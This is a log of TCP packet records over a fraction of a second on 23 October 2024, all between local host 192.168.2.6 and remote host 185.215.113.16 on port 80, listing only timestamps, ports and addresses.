Oct 23, 2024 17:51:27.075984955 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.075994015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076005936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076025009 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.076047897 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.076073885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076083899 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076093912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076119900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076126099 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.076133966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076150894 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.076234102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076244116 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076253891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076268911 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.076292992 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.076448917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076459885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076469898 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076481104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076491117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076503038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076519012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076529980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076540947 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076551914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076571941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076581955 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076595068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076622963 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.076636076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076647997 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.076653957 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.076672077 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.077148914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077161074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077174902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077193975 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.077223063 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.077259064 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077270031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077281952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077292919 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077303886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077312946 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.077316046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077327013 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.077354908 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.077388048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077399969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077411890 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077433109 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.077531099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077543020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077560902 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.077725887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077737093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077749968 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077760935 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077774048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077780008 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.077805996 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.077893972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077905893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077918053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077929020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077940941 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.077949047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077958107 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.077964067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.077999115 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.078036070 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.078058004 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.078068018 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.078085899 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.078088045 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.078099012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.078119040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.078124046 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.078133106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.078151941 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.078231096 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.078242064 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.078253031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.078263998 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.078263998 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.078277111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.078288078 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.078320026 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.078497887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.078509092 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.078519106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.078547001 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.132167101 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.142021894 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.142096996 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.142117977 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.142132044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.142143011 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.142146111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.142158985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.142172098 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.142174006 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.142185926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.142194033 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.142196894 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.142246962 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.152044058 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.152055979 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.152120113 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.193052053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193079948 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193101883 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193114042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193113089 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.193129063 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193141937 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193150997 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.193162918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193170071 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.193176985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193192959 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193206072 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193218946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193228006 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.193231106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193253994 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.193298101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193310976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193324089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193347931 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.193361998 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193382025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193397045 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193423986 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.193447113 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193479061 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.193558931 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193572044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193610907 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.193628073 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193649054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193660975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193671942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193685055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193696022 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193697929 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.193722963 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.193739891 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.193742990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193770885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193782091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193798065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193811893 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.193814039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193844080 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.193861008 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193873882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193886042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.193893909 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.193918943 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.194130898 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194142103 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194154978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194175005 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194179058 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.194189072 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194201946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194204092 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.194216013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194227934 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194235086 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.194241047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194262981 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.194329023 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194339991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194351912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194375038 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.194392920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194396973 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.194406986 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194504023 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.194577932 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194626093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194637060 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194760084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194772959 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194783926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194797039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194818974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194828033 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.194828033 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.194828033 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.194830894 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194849014 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194852114 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.194863081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194900990 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.194911957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194924116 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194935083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.194946051 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.194973946 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.195008993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195019960 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195054054 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.195096016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195108891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195123911 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195136070 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195151091 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.195183039 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.195195913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195252895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195264101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195278883 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195291042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195301056 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.195333004 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.195348978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195364952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195384979 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.195417881 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195430994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195444107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195470095 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.195475101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195488930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195493937 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.195502996 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195517063 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.195544958 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195559025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195585012 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.195751905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195786953 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.195792913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195806980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195852995 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.195888042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195902109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195936918 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.195959091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195970058 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.195991039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.196002960 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.196016073 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.196028948 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.196057081 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.259123087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.259145975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.259169102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.259202003 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.259299040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.259321928 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.259342909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.259355068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.259367943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.259370089 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.259385109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.259388924 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.259398937 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.259428978 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.259454966 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.269380093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.269403934 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.269416094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.269457102 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.310513973 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.310540915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.310554981 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.310565948 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.310570955 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.310580969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.310594082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.310595989 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.310617924 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.310619116 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.310632944 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.310662985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.310681105 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.310698986 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.310713053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.310728073 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.310769081 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.310825109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.310837030 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.310849905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.310862064 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.310874939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.310897112 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.310941935 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.310982943 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.311009884 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311022997 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311034918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311047077 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311060905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311064959 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.311089039 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.311152935 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311163902 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311175108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311187029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311192989 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.311206102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311213970 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.311227083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311239004 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311242104 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.311270952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311283112 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.311326981 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311357021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311368942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311393976 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.311418056 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.311588049 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311602116 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311613083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311635971 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.311680079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311692953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311708927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311729908 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.311748028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311759949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311764002 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.311772108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311795950 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:27.311832905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:27.311845064 CEST	80	49763	185.215.113.16	192.168.2.6
